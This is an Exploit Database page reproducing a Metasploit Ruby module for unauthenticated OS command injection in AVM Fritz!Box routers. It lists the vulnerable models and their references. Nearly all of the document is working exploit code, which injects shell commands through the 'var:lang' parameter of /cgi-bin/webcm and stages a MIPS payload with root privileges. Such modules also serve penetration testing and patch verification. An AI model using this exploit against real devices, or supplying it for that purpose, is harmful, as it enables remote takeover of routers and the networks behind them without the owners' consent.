Fritz!Box Webcm – Command Injection (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2014-04-08
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/32753/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerEcho
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Fritz!Box Webcm Unauthenticated Command Injection',
  'Description' => %q{
  Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
  This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
  following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
  7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
  6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
  },
  'Author'=>
  [
  'unknown', # Vulnerability discovery
  'Fabian Braeunlein <fabian@breaking.systems>', #Metasploit PoC with wget method
  'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'OSVDB', '103289' ],
  [ 'BID', '65520' ],
  [ 'URL', 'http://www.kapple.de/?p=75' ], #vulnerability details with PoC
  [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],#probably the first published details (now censored)
  [ 'URL', 'http://pastebin.com/GnMKGmZ2' ], #published details uncensored from speckmarschall
  [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], #vendor site with a list of vulnerable devices
  [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] #wirteup with PoC
  ],
  'DisclosureDate' => 'Feb 11 2014',
  'Privileged' => true,
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSLE,
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Targets' =>
  [
  [ 'Automatic Targeting', { } ],
  ],
  'DefaultTarget'=> 0
  ))
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri'=> '/cgi-bin/webcm',
  'method'=> 'GET'
  })
  
  if res && [200, 301, 302].include?(res.code)
  return Exploit::CheckCode::Detected
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Unknown
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def execute_command(cmd, opts)
  begin
  res = send_request_cgi({
  'uri'=> '/cgi-bin/webcm',
  'method' => 'GET',
  'vars_get' => {
  "var:lang" => "&#{cmd}",
  }
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  
  def exploit
  print_status("#{peer} - Trying to access the vulnerable URL...")
  
  unless check == Exploit::CheckCode::Detected
  fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
  end
  
  print_status("#{peer} - Exploiting...")
  
  execute_cmdstager(
  :linemax => 90
  )
  end
  end